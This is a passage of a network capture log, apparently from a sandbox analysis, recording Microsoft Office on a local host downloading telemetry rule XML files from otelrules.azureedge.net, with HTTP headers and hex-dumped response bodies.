2024-11-11 13:33:12 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:12 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 7f458887-c01e-008e-47d5-337381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133312Z-174f7845968glpgnhC1EWR7uec000000051g00000000g65t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:12 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	49866	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:11 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:12 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:12 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: dc8e8528-f01e-0085-10d5-3388ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133312Z-174f7845968c2t8dhC1EWR8s2000000004u0000000003v5m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:12 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	49868	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:12 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:12 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:12 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 2302abc5-d01e-0017-53d5-33b035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133312Z-174f7845968nxc96hC1EWRspw800000004vg0000000004ct x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:12 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	49869	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:12 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:12 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:12 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: b29ecc16-801e-00a3-01d5-337cfb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133312Z-174f784596886s2bhC1EWR743w0000000540000000002zcg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:12 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	49870	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:12 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:12 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:12 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 65803071-501e-000a-4fd5-330180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133312Z-174f7845968px8v7hC1EWR08ng000000054g00000000f29r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:12 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	49871	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:12 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:12 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:12 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 6de6115a-f01e-00aa-46d5-338521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133312Z-174f7845968px8v7hC1EWR08ng000000056g00000000c27u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:12 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	49872	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:13 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:13 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:13 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 1815f1f4-001e-0028-79d5-33c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133313Z-174f7845968xlwnmhC1EWR0sv800000004s000000000d2da x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:13 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.4	49873	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:13 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:13 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:13 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: b85e0691-b01e-0098-78d5-33cead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133313Z-174f7845968ljs8phC1EWRe6en00000004sg00000000d2z4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:13 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.4	49874	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:13 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:13 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:13 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 5ac3f861-801e-008f-21d5-332c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133313Z-174f7845968cdxdrhC1EWRg0en0000000520000000000gke x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:13 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.4	49875	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:13 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:13 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:13 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 2ce92287-101e-007a-6fd5-33047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133313Z-174f7845968qj8jrhC1EWRh41s00000004ug00000000dhkw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:13 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.4	49876	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:13 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:13 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:13 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 5fef6463-301e-0051-7dd5-3338bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133313Z-174f7845968c2t8dhC1EWR8s2000000004u0000000003v7q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:13 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.4	49877	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:13 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:13 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:13 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 6565db8d-b01e-0084-61d5-33d736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133313Z-174f7845968vqt9xhC1EWRgten00000004zg00000000cf2v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:13 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> 